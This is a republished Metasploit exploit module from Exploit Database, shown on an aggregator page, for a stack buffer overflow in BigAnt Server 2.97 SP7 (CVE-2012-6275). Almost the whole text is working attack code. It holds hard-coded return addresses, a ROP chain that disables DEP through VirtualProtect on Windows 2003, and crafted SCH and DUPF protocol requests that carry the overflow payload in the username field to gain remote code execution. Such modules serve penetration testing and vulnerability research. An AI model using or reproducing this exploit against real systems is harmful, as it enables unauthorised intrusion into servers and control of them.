BigAnt Server 2.97 – SCH / DUPF Buffer Overflow (Metasploit)

• Exploit Database
• 80 阅读

• 作者： Metasploit
  日期： 2013-02-20
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/24527/

• ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # web site for more information on licensing and terms of use.
  # http://metasploit.com/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = NormalRanking
  
  	include Msf::Exploit::Remote::Tcp
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'BigAnt Server 2 SCH And DUPF Buffer Overflow',
  			'Description'=> %q{
  					This exploits a stack buffer overflow in BigAnt Server 2.97 SP7. The
  				vulnerability is due to the dangerous usage of strcpy while handling errors. This
  				module uses a combination of SCH and DUPF request to trigger the vulnerability, and
  				has been tested successfully against version 2.97 SP7 over Windows XP SP3 and
  				Windows 2003 SP2.
  			},
  			'Author' =>
  				[
  					'Hamburgers Maccoy', # Vulnerability discovery
  					'juan vazquez' # Metasploit module
  				],
  			'License'=> MSF_LICENSE,
  			'References' =>
  				[
  					[ 'CVE', '2012-6275' ],
  					[ 'US-CERT-VU', '990652' ],
  					[ 'BID', '57214' ],
  					[ 'OSVDB', '89344' ]
  				],
  			'Payload'=>
  				{
  					'Space' => 2500,
  					'BadChars'=> "\x00\x0a\x0d\x25\x27",
  					'DisableNops' => true,
  					'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
  				},
  			'Platform' => 'win',
  			'Targets'=>
  				[
  					[ 'BigAnt Server 2.97 SP7 / Windows XP SP3',
  						{
  							'Offset' => 629,
  							'Ret'=> 0x77c21ef4, # ppr from msvcrt
  							'JmpESP' => 0x77c35459, # push esp # ret from msvcrt
  							'FakeObject' => 0x77C60410 # .data from msvcrt
  						}
  					],
  					[ 'BigAnt Server 2.97 SP7 / Windows 2003 SP2',
  						{
  							'Offset'=> 629,
  							'Ret' => 0x77bb287a, # ppr from msvcrt
  							'FakeObject'=> 0x77bf2460, # .data from msvcrt
  							:callback_rop => :w2003_sp2_rop
  						}
  					]
  				],
  			'Privileged' => true,
  			'DefaultTarget' => 0,
  			'DisclosureDate' => 'Jan 09 2013'))
  
  			register_options([Opt::RPORT(6661)], self.class)
  	end
  
  	def junk(n=4)
  		return rand_text_alpha(n).unpack("V")[0].to_i
  	end
  
  	def nop
  		return make_nops(4).unpack("V")[0].to_i
  	end
  
  	def w2003_sp2_rop
  		rop_gadgets =
  			[
  				0x77bc5d88, # POP EAX # RETN
  				0x77ba1114, # <- *&VirtualProtect()
  				0x77bbf244, # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN
  				junk,
  				0x77bb0c86, # XCHG EAX,ESI # RETN
  				0x77bc9801, # POP EBP # RETN
  				0x77be2265, # ptr to 'push esp #ret'
  				0x77bc5d88, # POP EAX # RETN
  				0x03C0990F,
  				0x77bdd441, # SUB EAX, 03c0940f(dwSize, 0x500 -> ebx)
  				0x77bb48d3, # POP EBX, RET
  				0x77bf21e0, # .data
  				0x77bbf102, # XCHG EAX,EBX # ADD BYTE PTR DS:[EAX],AL # RETN
  				0x77bbfc02, # POP ECX # RETN
  				0x77bef001, # W pointer (lpOldProtect) (-> ecx)
  				0x77bd8c04, # POP EDI # RETN
  				0x77bd8c05, # ROP NOP (-> edi)
  				0x77bc5d88, # POP EAX # RETN
  				0x03c0984f,
  				0x77bdd441, # SUB EAX, 03c0940f
  				0x77bb8285, # XCHG EAX,EDX # RETN
  				0x77bc5d88, # POP EAX # RETN
  				nop,
  				0x77be6591, # PUSHAD # ADD AL,0EF # RETN
  			].pack("V*")
  
  		return rop_gadgets
  	end
  
  	def exploit
  
  		sploit = rand_text_alpha(target['Offset'])
  		sploit << [target.ret].pack("V")
  		sploit << [target['FakeObject']].pack("V")
  		sploit << [target['FakeObject']].pack("V")
  		if target[:callback_rop] and self.respond_to?(target[:callback_rop])
  			sploit << self.send(target[:callback_rop])
  		else
  			sploit << [target['JmpESP']].pack("V")
  		end
  		sploit << payload.encoded
  
  		random_filename = rand_text_alpha(4)
  		random_date = "#{rand_text_numeric(4)}-#{rand_text_numeric(2)}-#{rand_text_numeric(2)} #{rand_text_numeric(2)}:#{rand_text_numeric(2)}:#{rand_text_numeric(2)}"
  		random_userid = rand_text_numeric(1)
  		random_username = rand_text_alpha_lower(5)
  		random_content = rand_text_alpha(10 + rand(10))
  
  		sch = "SCH 16\n"
  		sch << "cmdid: 1\n"
  		sch << "content-length: 0\n"
  		sch << "content-type: Appliction/Download\n"
  		sch << "filename: #{random_filename}.txt\n"
  		sch << "modified: #{random_date}\n"
  		sch << "pclassid: 102\n"
  		sch << "pobjid: 1\n"
  		sch << "rootid: 1\n"
  		sch << "sendcheck: 1\n"
  		sch << "source_cmdname: DUPF\n"
  		sch << "source_content-length: 116619\n"
  		sch << "userid: #{random_userid}\n"
  		sch << "username: #{sploit}\n\n"
  
  		print_status("Trying target #{target.name}...")
  
  		connect
  		print_status("Sending SCH request...")
  		sock.put(sch)
  		res = sock.get_once
  		if res.nil?
  			fail_with(Exploit::Failure::Unknown, "No response to the SCH request")
  		end
  		if res=~ /scmderid: \{(.*)\}/
  			scmderid = $1
  		else
  			fail_with(Exploit::Failure::UnexpectedReply, "scmderid value not found in the SCH response")
  		end
  
  		dupf = "DUPF 16\n"
  		dupf << "cmdid: 1\n"
  		dupf << "content-length: #{random_content.length}\n"
  		dupf << "content-type: Appliction/Download\n"
  		dupf << "filename: #{random_filename}.txt\n"
  		dupf << "modified: #{random_date}\n"
  		dupf << "pclassid: 102\n"
  		dupf << "pobjid: 1\n"
  		dupf << "rootid: 1\n"
  		dupf << "scmderid: {#{scmderid}}\n"
  		dupf << "sendcheck: 1\n"
  		dupf << "userid: #{random_userid}\n"
  		dupf << "username: #{random_username}\n\n"
  		dupf << random_content
  
  		print_status("Sending DUPF request...")
  		sock.put(dupf)
  		#sock.get_once
  		disconnect
  
  	end
  
  end
  

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